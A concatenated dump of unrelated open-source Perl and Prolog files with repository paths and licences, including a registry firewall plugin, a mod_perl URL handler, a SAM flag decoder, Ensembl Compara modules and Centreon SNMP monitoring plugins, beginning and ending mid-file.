$sel; if ($sel = $root_key->get_subkey($select_path)) { $current = $sel->get_value("Current")->get_data(); $ccs = "ControlSet00".$current; } else { ::rptMsg($select_path." could not be found."); ::logMsg($select_path." could not be found."); return; } my @profiles = ("DomainProfile","StandardProfile"); foreach my $profile (@profiles) { my $key_path = $ccs."\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\".$profile; my $key; if ($key = $root_key->get_subkey($key_path)) { ::rptMsg("Windows Firewall Configuration"); ::rptMsg($key_path); ::rptMsg("LastWrite Time ".gmtime($key->get_timestamp())." (UTC)"); my %vals = getKeyValues($key); if (scalar(keys %vals) > 0) { foreach my $v (keys %vals) { ::rptMsg("\t".$v." -> ".$vals{$v}); } } else { # ::rptMsg($key_path." has no values."); } my @configs = ("RemoteAdminSettings", "IcmpSettings", "GloballyOpenPorts\\List", "AuthorizedApplications\\List"); foreach my $config (@configs) { eval { my %vals = getKeyValues($key->get_subkey($config)); if (scalar(keys %vals) > 0) { ::rptMsg(""); ::rptMsg($key_path."\\".$config); ::rptMsg("LastWrite Time ".gmtime($key->get_subkey($config)->get_timestamp())." (UTC)"); foreach my $v (keys %vals) { ::rptMsg("\t".$v." -> ".$vals{$v}); } } }; } } else { ::rptMsg($key_path." not found."); ::logMsg($key_path." not found."); } ::rptMsg(""); } # end foreach } sub getKeyValues { my $key = shift; my %vals; my @vk = $key->get_list_of_values(); if (scalar(@vk) > 0) { foreach my $v (@vk) { next if ($v->get_name() eq "" && $v->get_data() eq ""); $vals{$v->get_name()} = $v->get_data(); } } else { } return %vals; } 1;
APriestman/autopsy
thirdparty/rr-full/plugins/fw_config.pl
Perl
apache-2.0
3,081
%query: append(i,i,o). % mode: append[i,i,o] append([H|X],Y,[X|Z]) :- append(X,Y,Z). append([],Y,Y).
ComputationWithBoundedResources/ara-inference
doc/tpdb_trs/Logic_Programming/talp_dds/append.pl
Perl
mit
103
{ server => { name => "eldhelm", host => "127.0.0.1", port => 80, logger => { logs => { access => ["stdout"], general => ["stdout"], debug => ["stdout"], error => ["stderr"], }, }, acceptProtocols => ["Http"], http => { directoryIndex => "controller:quickStart:index" }, }, }
wastedabuser/eldhelm-platform
quickstart-config.pl
Perl
mit
336
# Copyright (c) 2010 - Action Without Borders # # MIT License # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. #============================================ # IF::WebServer::TransHandler # This is the mod_perl handler that checks # if an incoming URL needs to be mapped # to a full app url #============================================ package IF::WebServer::TransHandler; use strict; #==================================== use IF::Log; use IF::Application; use IF::Request (); BEGIN { use constant MP2 => ( exists $ENV{MOD_PERL_API_VERSION} and $ENV{MOD_PERL_API_VERSION} >= 2 ); sub handler_mp2 : method { my ($className, $r) = @_; return $className->handler_mp1($r); } *handler = MP2 ? \&handler_mp2 : \&handler_mp1; if (MP2) { eval "use Apache2::Const qw(:common);"; } else { eval "use Apache::Constants qw(:common)"; } IF::Log::error("loading apache constants: $@") if $@; } sub handler_mp1 ($$) { my ($className, $req) = @_; IF::Log::debug("=====================> Transhandler invoked"); my $r = IF::Request->new($req); my $app = IF::Application->applicationInstanceWithName($r->applicationName()); return DECLINED unless IF::Log::assert($app, "Retrieved app instance for request"); my $url = $r->uri(); foreach my $module (@{$app->modules()}) { IF::Log::debug("Passing $url to module $module"); # TODO implement caching here my ($rewrittenUrl, $rewrittenArgs) = $module->urlFromIncomingUrl($url); if ($rewrittenUrl ne $url) { IF::Log::debug("Rewriting as $rewrittenUrl ($rewrittenArgs) -> redirecting"); $r->uri($rewrittenUrl); $r->args($rewrittenArgs) if $rewrittenArgs; # in mod_perl2 this prevents apache from running the # MapToStorage phase and saves a bunch of cycles. $r->filename("TransHandler-N/A"); return OK; } } # Small optimization ... if we know this url is going to be # handled by the big IF handler, we can give it a bogus # filename and avoid the map to storage grind my $defaultPrefix = $r->dir_config('IFDefaultPrefix'); if ($url =~ /^$defaultPrefix/) { $r->filename("TransHandler-N/A"); return OK; } IF::Log::debug("No need to rewrite incoming URL"); return DECLINED; } 1;
quile/if-framework
framework/lib/IF/WebServer/TransHandler.pm
Perl
mit
3,400
#!/bin/env perl # This is completely copied from Dave Tang's blog: https://davetang.org/muse/2014/03/06/understanding-bam-flags/ # please use the version there (I probably edited and broke this) # and please give him credit and citations use strict; use warnings; while (<>) { chomp; my $flag = $_; die "Please enter a numerical value\n" if $flag =~ /\D+/; my @output; if ($flag & 0x1){ push @output, "multiple segments"; } if ($flag & 0x2){ push @output, "properly aligned"; } if ($flag & 0x4){ push @output, "segment unmapped"; } if ($flag & 0x8){ push @output, "next segment unmapped"; } if ($flag & 0x10){ push @output, "reverse complement"; } if ($flag & 0x20){ push @output, "next segment reverse complemented"; } if ($flag & 0x40){ push @output, "first segment"; } if ($flag & 0x80){ push @output, "last segment"; } if ($flag & 0x100){ push @output, "secondary alignment"; } if ($flag & 0x200){ push @output, "not passing QC"; } if ($flag & 0x400){ push @output, "PCR or optical duplicate"; } if ($flag & 0x800){ push @output, "supplementary alignment"; } print "$flag: ", join(" | ", @output), "\n"; } exit(0);
linsalrob/EdwardsLab
bin/samtools.pl
Perl
mit
1,184
poblacion(pais, cantidad). area(pais, espacio). densidad(Pais, D) :- poblacion(Pais, P),
betoesquivel/prolog
paises.pl
Perl
mit
94
#!/usr/bin/perl -w use strict; use warnings; use FindBin qw($Bin); use lib $Bin . "/perl/lib";; use Ratpoison; my $rt = Ratpoison->new(); my $new_num = 500; foreach my $window (values %{$rt->get_windows()} ) { my $number = $window->{'window_number'}; $rt->select($number); $rt->number($new_num); $new_num++; }
benbernard/HomeDir
bin/renumber_windows.pl
Perl
mit
324
/************************************************************************* name: drsTools.pl (Volume 2, Chapter 2) version: January 10, 2003 description: Additional predicates for working with DRSs author: Christof Rumpf *************************************************************************/ :- module(drsTools,[exDRS/2, checkDRS/1, ppDRS/1]). :- use_module(drs2fol,[drs2fol/2]). :- ensure_loaded(comsemOperators). :- dynamic(exDRS/2). % ppDRS(+DRS) % Pretty print DRSs. ppDRS(DRS):- \+ \+ (numbervars(DRS,0,_), ppDRS(DRS,0)). ppDRS(drs(Refs,Conds),T):- !, ppl(T), ppRefs(Refs,T), ppl(T), ppConds(Conds,T), ppl(T). ppl(T):- tab(T), write('-----------'), nl. ppRefs(Refs,T):- tab(T), ppRefs(Refs), nl. ppRefs([]). ppRefs([R|Rs]):- write(R), tab(1), ppRefs(Rs). ppConds([],_):- !. ppConds([DRS1 > DRS2|Cs],T):- !, T1 is T+3, ppDRS(DRS1,T1), tab(T1), write('==>'), nl, ppDRS(DRS2,T1), ppConds(Cs,T). ppConds([DRS1 v DRS2|Cs],T):- !, T1 is T+3, ppDRS(DRS1,T1), tab(T1), write('OR'), nl, ppDRS(DRS2,T1), ppConds(Cs,T). ppConds([~DRS|Cs],T):- !, T1 is T+3, tab(T1), write('NOT'), nl, ppDRS(DRS,T1), ppConds(Cs,T). ppConds([C|Cs],T):- tab(T), write(C), nl, ppConds(Cs,T). % checkDRS(?Integer) % Pretty print example DRS and display fol transformation. checkDRS(N):- exDRS(N,DRS), drs2fol(DRS,FOL), numbervars(FOL,0,_), ppDRS(DRS), nl, write(FOL), nl, nl. % exDRS(?Integer, ?DRS) % Example DRSs. exDRS(1,drs([],[drs([X],[woman(X)]) > drs([Y],[boxer(Y),love(X,Y)])])). exDRS(2,drs([Y],[drs([X],[woman(X)]) > drs([],[boxer(Y),love(X,Y)])])). exDRS(3,drs([],[drs([X,Y],[woman(X)]) > drs([],[boxer(Y),love(X,Y)])])). exDRS(4,drs([X,Y],[drs([],[woman(X)]) > drs([],[boxer(Y),love(X,Y)])])). exDRS(5,drs([],[drs([X,Y],[man(X),big_cahuna_burger(Y),eat(X,Y)]) > drs([V,W],[enjoy(V,W),V=X,W=Y])])). exDRS(6,merge(merge(merge(drs([A],[]),drs([],[woman(A),female(A)])),drs([],[snort(A)])),alfa(B,nonrefl,female(B),drs([],[collapse(B)])))).
TeamSPoon/logicmoo_workspace
packs_sys/logicmoo_nlu/ext/CURT/bb0/drsTools.pl
Perl
mit
2,014
% Author: Carsten Fuhs % sorting by extracting the maximum of a list %query: maxsort(i,o). eq(t,t). eq(f,f). neq(t,f). neq(f,t). del(_,[],[]). del(X,[Y|YS],YS) :- eq(X,Y). del(X,[Y|YS],[Y|ZS]) :- neq(X,Y), del(X,YS,ZS). ge(t,t). ge(t,f). ge(f,f). gt(t,f). max([],f). max([X],X). max([X,Y|XS],Z) :- ge(X,Y), max([X|XS],Z). max([X,Y|XS],Z) :- gt(Y,X), max([Y|XS],Z). maxsort([],[]). maxsort([X|XS],[Y|YS]) :- max([X|XS],Y), del(Y,[X|XS],ZS), maxsort(ZS,YS).
ComputationWithBoundedResources/ara-inference
doc/tpdb_trs/Logic_Programming/SGST06/psk09-maxsort-bool-nocut.pl
Perl
mit
476
package App::TMS::Common; use strict; our $VERSION = 0; use Exporter qw(import); use Perl::Module; use Data::OrderedHash; our @EXPORT = qw( $TMS_DIR $TMS_SETTINGS $TMS_INSTANCE_DB $STATUS_OK $STATUS_CLIENT_DIR $STATUS_CLIENT_DIR_MISSING $STATUS_TARGET_MODIFIED $STATUS_TARGET_MISSING $STATUS_TEMPLATE_MODIFIED $STATUS_TEMPLATE_MISSING $TEXT_STATUS $TEXT_STATUS_ITEM ); our @EXPORT_OK = @EXPORT; our %EXPORT_TAGS = (all=>\@EXPORT_OK); our $TMS_DIR = '.tms'; our $TMS_SETTINGS = '.tms/settings.hf'; our $TMS_INSTANCE_DB = '.tms/instances.hf'; our $STATUS_OK = ''; our $STATUS_CLIENT_DIR = '*'; our $STATUS_CLIENT_DIR_MISSING = '*!'; our $STATUS_TARGET_MODIFIED = 'M'; our $STATUS_TARGET_MISSING = 'D'; our $STATUS_TEMPLATE_MODIFIED = 'U'; our $STATUS_TEMPLATE_MISSING = '!'; our $TEXT_STATUS = <<__end; Local Root: [#client_root] Repository Root: [#repo_root] __end our $TEXT_STATUS_ITEM = <<__end; Target: [#target] Template: [#template] Status: [#status] [#:for (dep,sum) in dep_checksums] Dependency: [#dep] [#:end for] [#:for (u) in use] Using: [#u] [#:end for] [#:for (k,v) in vars] Variable: [#k] = '[#v]' [#:end for] __end 1;
ryangies/lsn-data-hub
src/lib/App/TMS/Common.pm
Perl
mit
1,287
package OTM::Web::View; use strict; use warnings; use utf8; use parent 'TileMapJP::View'; 1;
tilemapjp/OpenTileMap
lib/OTM/Web/View.pm
Perl
mit
94
package Paws::Route53Domains::RenewDomainResponse; use Moose; has OperationId => (is => 'ro', isa => 'Str', required => 1); has _request_id => (is => 'ro', isa => 'Str'); ### main pod documentation begin ### =head1 NAME Paws::Route53Domains::RenewDomainResponse =head1 ATTRIBUTES =head2 B<REQUIRED> OperationId => Str The identifier for tracking the progress of the request. To use this ID to query the operation status, use GetOperationDetail. =head2 _request_id => Str =cut 1;
ioanrogers/aws-sdk-perl
auto-lib/Paws/Route53Domains/RenewDomainResponse.pm
Perl
apache-2.0
498
# # Copyright 2021 Centreon (http://www.centreon.com/) # # Centreon is a full-fledged industry-strength solution that meets # the needs in IT infrastructure and application monitoring for # service performance. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # package cloud::azure::compute::virtualmachine::mode::discovery; use base qw(cloud::azure::management::monitor::mode::discovery); use strict; use warnings; sub check_options { my ($self, %options) = @_; $self->SUPER::check_options(%options); $self->{namespace} = 'Microsoft.Compute'; $self->{type} = 'virtualMachines'; } 1; __END__ =head1 MODE Virtual Machine discovery. =over 8 =item B<--resource-group> Specify resources resource group. =item B<--location> Specify resources location. =item B<--prettify> Prettify JSON output. =back =cut
Tpo76/centreon-plugins
cloud/azure/compute/virtualmachine/mode/discovery.pm
Perl
apache-2.0
1,332
# Copyright 2020, Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. package Google::Ads::GoogleAds::V9::Services::AssetSetAssetService::MutateAssetSetAssetsResponse; use strict; use warnings; use base qw(Google::Ads::GoogleAds::BaseEntity); use Google::Ads::GoogleAds::Utils::GoogleAdsHelper; sub new { my ($class, $args) = @_; my $self = { partialFailureError => $args->{partialFailureError}, results => $args->{results}}; # Delete the unassigned fields in this object for a more concise JSON payload remove_unassigned_fields($self, $args); bless $self, $class; return $self; } 1;
googleads/google-ads-perl
lib/Google/Ads/GoogleAds/V9/Services/AssetSetAssetService/MutateAssetSetAssetsResponse.pm
Perl
apache-2.0
1,128
# # Copyright 2016 Centreon (http://www.centreon.com/) # # Centreon is a full-fledged industry-strength solution that meets # the needs in IT infrastructure and application monitoring for # service performance. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # package storage::dell::compellent::snmp::mode::components::cache; use strict; use warnings; use storage::dell::compellent::snmp::mode::components::resources qw(%map_sc_status); my $mapping = { scCacheStatus => { oid => '.1.3.6.1.4.1.674.11000.2000.500.1.2.28.1.3', map => \%map_sc_status }, scCacheName => { oid => '.1.3.6.1.4.1.674.11000.2000.500.1.2.28.1.4' }, }; my $oid_scCacheEntry = '.1.3.6.1.4.1.674.11000.2000.500.1.2.28.1'; sub load { my ($self) = @_; push @{$self->{request}}, { oid => $oid_scCacheEntry, begin => $mapping->{scCacheStatus}->{oid}, end => $mapping->{scCacheName}->{oid} }; } sub check { my ($self) = @_; $self->{output}->output_add(long_msg => "Checking caches"); $self->{components}->{cache} = {name => 'caches', total => 0, skip => 0}; return if ($self->check_filter(section => 'cache')); foreach my $oid ($self->{snmp}->oid_lex_sort(keys %{$self->{results}->{$oid_scCacheEntry}})) { next if ($oid !~ /^$mapping->{scCacheStatus}->{oid}\.(.*)$/); my $instance = $1; my $result = $self->{snmp}->map_instance(mapping => $mapping, results => $self->{results}->{$oid_scCacheEntry}, instance => $instance); next if ($self->check_filter(section => 'cache', instance => $instance)); $self->{components}->{cache}->{total}++; $self->{output}->output_add(long_msg => sprintf("cache '%s' status is '%s' [instance = %s]", $result->{scCacheName}, $result->{scCacheStatus}, $instance, )); my $exit = $self->get_severity(label => 'default', section => 'cache', value => $result->{scCacheStatus}); if (!$self->{output}->is_status(value => $exit, compare => 'ok', litteral => 1)) { $self->{output}->output_add(severity => $exit, short_msg => sprintf("Cache '%s' status is '%s'", $result->{scCacheName}, $result->{scCacheStatus})); } } } 1;
bcournaud/centreon-plugins
storage/dell/compellent/snmp/mode/components/cache.pm
Perl
apache-2.0
2,793
# # Copyright 2019 Centreon (http://www.centreon.com/) # # Centreon is a full-fledged industry-strength solution that meets # the needs in IT infrastructure and application monitoring for # service performance. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # package storage::qnap::snmp::mode::components::temperature; use strict; use warnings; # In MIB 'NAS.mib' my $oid_CPU_Temperature_entry = '.1.3.6.1.4.1.24681.1.2.5'; my $oid_CPU_Temperature = '.1.3.6.1.4.1.24681.1.2.5.0'; my $oid_SystemTemperature_entry = '.1.3.6.1.4.1.24681.1.2.6'; my $oid_SystemTemperature = '.1.3.6.1.4.1.24681.1.2.6.0'; sub load { my ($self) = @_; push @{$self->{request}}, { oid => $oid_CPU_Temperature_entry }, { oid => $oid_SystemTemperature_entry }; } sub check { my ($self) = @_; $self->{output}->output_add(long_msg => "Checking temperatures"); $self->{components}->{temperature} = {name => 'temperatures', total => 0, skip => 0}; return if ($self->check_filter(section => 'temperature')); my $cpu_temp = defined($self->{results}->{$oid_CPU_Temperature_entry}->{$oid_CPU_Temperature}) ? $self->{results}->{$oid_CPU_Temperature_entry}->{$oid_CPU_Temperature} : 'unknown'; if ($cpu_temp =~ /([0-9]+)\s*C/ && !$self->check_filter(section => 'temperature', instance => 'cpu')) { my $value = $1; $self->{components}->{temperature}->{total}++; $self->{output}->output_add(long_msg => sprintf("cpu temperature is '%s' degree centigrade", $value)); my ($exit, $warn, $crit) = $self->get_severity_numeric(section => 'temperature', instance => 'cpu', value => $value); if (!$self->{output}->is_status(value => $exit, compare => 'ok', litteral => 1)) { $self->{output}->output_add(severity => $exit, short_msg => sprintf("CPU Temperature is '%s' degree centigrade", $value)); } $self->{output}->perfdata_add( label => 'temp', unit => 'C', nlabel => 'hardware.temperature.celsius', instances => 'cpu', value => $value ); } my $system_temp = defined($self->{results}->{$oid_SystemTemperature_entry}->{$oid_SystemTemperature}) ? $self->{results}->{$oid_SystemTemperature_entry}->{$oid_SystemTemperature} : 'unknown'; if ($system_temp =~ /([0-9]+)\s*C/ && !$self->check_filter(section => 'temperature', instance => 'system')) { my $value = $1; $self->{components}->{temperature}->{total}++; $self->{output}->output_add(long_msg => sprintf("System Temperature is '%s' degree centigrade", $value)); my ($exit, $warn, $crit) = $self->get_severity_numeric(section => 'temperature', instance => 'system', value => $value); if (!$self->{output}->is_status(value => $exit, compare => 'ok', litteral => 1)) { $self->{output}->output_add(severity => $exit, short_msg => sprintf("System Temperature is '%s' degree centigrade", $value)); } $self->{output}->perfdata_add( label => 'temp', unit => 'C', nlabel => 'hardware.temperature.celsius', instances => 'system', value => $value ); } } 1;
Sims24/centreon-plugins
storage/qnap/snmp/mode/components/temperature.pm
Perl
apache-2.0
3,914
=head1 LICENSE Copyright [1999-2014] Wellcome Trust Sanger Institute and the EMBL-European Bioinformatics Institute Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. =cut =pod =head1 NAME Bio::EnsEMBL::Compara::Production::Projection::GOAProjectionEngine =head1 DESCRIPTION This is an extension of the ProjectionEngine object which provides methods for filtering according to rules discussed with the GOA team at the EBI. =head1 FILTERS =head2 DBEntry Filtering DBEntry objects are filtered based on the following =over 8 =item The DB name equals GO =item DBEntry is defined and isa OntologyXref =item The GO term has one of the following evidence tags; IDA IEP IGI IMP IPI =back =head2 Homology Filtering Homology objects are filtered accordingly =over 8 =item The description field is set to ortholog_one2one, ortholog_one2many or ortholog_many2many =item Percentage identity of both homologous pepetides is greater than 40% =back =cut package Bio::EnsEMBL::Compara::Production::Projection::GOAProjectionEngine; use strict; use warnings; use base qw( Bio::EnsEMBL::Compara::Production::Projection::ProjectionEngine ); use Bio::EnsEMBL::Utils::Argument qw(rearrange); use Bio::EnsEMBL::Utils::Exception qw(throw); use Bio::EnsEMBL::Utils::Scalar qw(assert_ref check_ref); use Bio::EnsEMBL::Compara::Production::Projection::FakeXrefHolder; use Data::Predicate::ClosurePredicate; use Data::Predicate::Predicates qw(:all); =head2 new() Arg[-dbentry_types] : The DBEntry database name to use. Defaults to GO Arg[-source]: String; defines the level to use for finding xrefs to project which should be assigned to the SOURCE_NAME used in MEMBER Description : New method used for a new instance of the given object. Required fields are indicated accordingly. Fields are specified using the Arguments syntax (case insensitive). =cut sub new { my ( $class, @args ) = @_; my $self = $class->SUPER::new(@args); my ($dbentry_types, $source) = rearrange([qw(dbentry_types source)], @args); $dbentry_types = $self->_dbentry_types_builder() if ! defined $dbentry_types; assert_ref( $dbentry_types, 'ARRAY' ); $self->{dbentry_types} = $dbentry_types; $source ||= q{ENSEMBLPEP}; throw "Do not understand the source $source" unless $self->_valid_sources()->{$source}; $self->{source} = $source; return $self; } =head2 source() Description : Getter. Source used to define the level we use to get DBEntries from =cut sub source { my ($self, $source) = @_; return $self->{source}; } =head2 dbentry_types() Description : Getter. Percentage identity in the source Can be customised by overriding C<_dbentry_types_builder>(). Defaults to an arrayref containing GO by default. =cut sub dbentry_types { my ($self) = @_; return $self->{dbentry_types}; } =head2 excluded_terms() Used to remove terms from the projected items which are deemed as not-useful. This defaults to GO:0005515 (protein binding) =cut sub excluded_terms { my ($self) = @_; return [qw(GO:0005515)]; } =head2 dbentry_source_object() Override of the method from the super engine which uses the FakeXrefHolder object to get Xrefs quickly. The class returned responds to the C<get_all_DBEntries()> subroutine call returning all of those Translation based DBEntry objects. The method looks at the type of member given which will instruct the level we perform projections at i.e. ENSEMBLGENE or ENSEMBLPEP =cut sub dbentry_source_object { my ($self, $member) = @_; my $decoded = $self->_decode_member($member); return Bio::EnsEMBL::Compara::Production::Projection::FakeXrefHolder->build_peptide_dbentries_from_Member($decoded, $self->dbentry_types()); } =head2 build_projection() Arg[1] : Member; source member of projection Arg[2] : Member; target member of projection Arg[3] : DBEntry projected Arg[4] : The homology used for projection Description : Provides an abstraction to building a projection from a set of elements. Returntype : Projection object. Can be null & the current projection code will ignore it =cut sub build_projection { my ($self, $query_member, $target_member, $dbentry, $homology) = @_; return Bio::EnsEMBL::Compara::Production::Projection::Projection->new( -ENTRY => $dbentry, -FROM => $self->_decode_member($query_member), -TO => $self->_decode_member($target_member), -FROM_IDENTITY => $query_member->perc_id(), -TO_IDENTITY => $target_member->perc_id(), -TYPE => $homology->description() ); } sub _decode_member { my ($self, $member) = @_; my $dispatch = { ENSEMBLPEP => sub { my ($member) = @_; if($member->source_name() eq 'ENSEMBLPEP') { return $member; } else { return $member->get_canonical_SeqMember(); } }, ENSEMBLGENE => sub { my ($member) = @_; if($member->source_name() eq 'ENSEMBLGENE') { return $member; } else { return $member->gene_member(); } } }; return $dispatch->{$self->source()}->($member); } ###### BUILDERS sub _dbentry_types_builder { my ($self) = @_; return ['GO']; } sub _homology_predicate_builder { my ($self) = @_; $self->log()->debug('Creating default Homology predicate'); my @types = qw(ortholog_one2one ortholog_one2many ortholog_many2many); my $type_predicate = p_or(map { p_string_equals($_, 'description') } @types); my $percentage_identity_predicate = Data::Predicate::ClosurePredicate->new(closure => sub { my ($homology) = @_; my ($member_a, $member_b) = @{$homology->get_all_Members()}; return $member_a->perc_id() >= 40 && $member_b->perc_id() >= 40; }, description => 'Filtering of homology where both members had >= 40% identity'); return p_and($type_predicate, $percentage_identity_predicate); } sub _dbentry_predicate_builder { my ($self) = @_; $self->log()->debug('Creating default DBEntry predicate'); #Only accept if it is defined, was blessed, dbname == GO || PO & is a OntologyXref object my $entry_type_predicate = p_or(map { p_string_equals($_, 'dbname') } @{$self->dbentry_types()}); my $correct_type_predicate = p_and(p_defined(), p_blessed(), $entry_type_predicate, p_isa('Bio::EnsEMBL::OntologyXref')); #Allowed linkage types; can be any of these so it's an OR # IDA Inferred from direct assay # IEA Inferred from electronic annotation # IGI Inferred from genetic interaction # IMP Inferred from mutant phenotype # IPI Inferred from physical interaction #We do not use these # IC Inferred by curator # ISS Inferred from sequence or structural similarity # NAS Non-traceable author statement # ND No biological data available # RCA Reviewed computational analysis # TAS Traceable author statement # check the $_->type() method my $allowed_linkage_predicate = p_or(map { p_string_equals($_) } qw(IDA IEP IGI IMP IPI)); #Quick closure predicate which asserts that all the linkage types from a DBEntry can be found my $dbentry_has_allowed_linkage_predicate = Data::Predicate::ClosurePredicate->new(closure => sub { my ($dbentry) = @_; return $allowed_linkage_predicate->all_true($dbentry->get_all_linkage_types()); }); #Filter the excluded terms (defaults to protein_binding GO:0005515) my $excluded_terms = $self->excluded_terms(); my @excluded_terms_predicates = map { p_string_equals($_, 'primary_id') } @{$excluded_terms}; my $go_term_removal_predicate = p_not(p_or(@excluded_terms_predicates)); #Build it together & return return p_and($correct_type_predicate, $go_term_removal_predicate, $dbentry_has_allowed_linkage_predicate); } ############### LOGIC =pod Override to provide more specific rules about allowing go xref transfer based on evidence tags. =cut sub _transfer_dbentry_by_targets { my ($self, $source, $targets) = @_; my $source_ref = ref($source); my $link_join = sub { my ($xref) = @_; return join(q{}, sort @{$source->get_all_linkage_types()}); }; foreach my $target_xref (@{$targets}) { next unless check_ref($target_xref, $source_ref); #Reject if it was the same if ( $source->dbname() eq $target_xref->dbname() && $source->primary_id() eq $target_xref->primary_id() && $link_join->($source) eq $link_join->($target_xref)) { if($self->log()->is_trace()) { my $linkage_join = $link_join->($source); $self->log()->trace(sprintf( 'Rejecting because target entity had a DBEntry (%d) with the same dbnames, primary ids & linkage type (%s) as the source DBEntry (%d)', $target_xref->dbID(), $linkage_join, $source->dbID() )); } return 0; } # if a GO term with the same accession, but IEA evidence code, exists, also don't project, as this # will lead to duplicates when the projected term has its evidence code changed to IEA after projection if ($source->primary_id() eq $target_xref->primary_id()) { foreach my $evidence_code (@{$target_xref->get_all_linkage_types()}) { if($evidence_code eq 'IEA') { if($self->log()->is_trace()) { $self->log()->trace(sprintf('Rejecting because %s is already projected by IEA', $target_xref->primary_id() )); } return 0; } } } } return 1; } sub _valid_sources { my ($self) = @_; my %valid = map { $_ => 1} qw(ENSEMBLGENE ENSEMBLPEP); return \%valid; } 1;
dbolser-ebi/ensembl-compara
modules/Bio/EnsEMBL/Compara/Production/Projection/GOAProjectionEngine.pm
Perl
apache-2.0
10,127
=head1 LICENSE Copyright [1999-2015] Wellcome Trust Sanger Institute and the EMBL-European Bioinformatics Institute Copyright [2016-2021] EMBL-European Bioinformatics Institute Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. =cut package EnsEMBL::Web::Component::Gene::ExpressionAtlas; use strict; use HTML::Entities qw(encode_entities); use URI::Escape; use base qw(EnsEMBL::Web::Component::Gene); sub _init { my $self = shift; $self->cacheable(0); $self->ajaxable(1); } sub content { my $self = shift; my $hub = $self->hub; my $object = $self->object; my $stable_id = $hub->param('g'); my $species = $hub->species; my $html; $species =~ s/_/ /gi; #GXA require the species with no underscore. if (!$hub->gxa_status) { $html = $self->_info_panel("error", "Gene expression atlas site down!", "<p>The widget cannot be displayed as the gene expression atlas site is down. Please check again later.</p>"); } else { #this script tag has been kept here as it was easier to call the perl param within the script tag (the js file wasn't getting the param) $html = sprintf '<input class="panel_type" value="GXA" type="hidden" /><input type="hidden" class="js_param" name="geneId" value="%s" /><input type="hidden" class="js_param" name="species" value="%s" />', $stable_id, $species; } return $html; } 1;
Ensembl/public-plugins
widgets/modules/EnsEMBL/Web/Component/Gene/ExpressionAtlas.pm
Perl
apache-2.0
1,869
# # Copyright 2021 Centreon (http://www.centreon.com/) # # Centreon is a full-fledged industry-strength solution that meets # the needs in IT infrastructure and application monitoring for # service performance. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # package hardware::server::hp::proliant::snmp::mode::components::lnic; use strict; use warnings; use centreon::plugins::misc; my %map_lnic_condition = ( 1 => 'other', 2 => 'ok', 3 => 'degraded', 4 => 'failed', ); my %map_lnic_status = ( 1 => "unknown", 2 => "ok", 3 => "primaryFailed", 4 => "standbyFailed", 5 => "groupFailed", 6 => "redundancyReduced", 7 => "redundancyLost", ); # In MIB 'CPQNIC-MIB.mib' my $mapping = { cpqNicIfLogMapDescription => { oid => '.1.3.6.1.4.1.232.18.2.2.1.1.3' }, }; my $mapping2 = { cpqNicIfLogMapAdapterCount => { oid => '.1.3.6.1.4.1.232.18.2.2.1.1.5' }, }; my $mapping3 = { cpqNicIfLogMapCondition => { oid => '.1.3.6.1.4.1.232.18.2.2.1.1.10', map => \%map_lnic_condition }, cpqNicIfLogMapStatus => { oid => '.1.3.6.1.4.1.232.18.2.2.1.1.11', map => \%map_lnic_status }, }; my 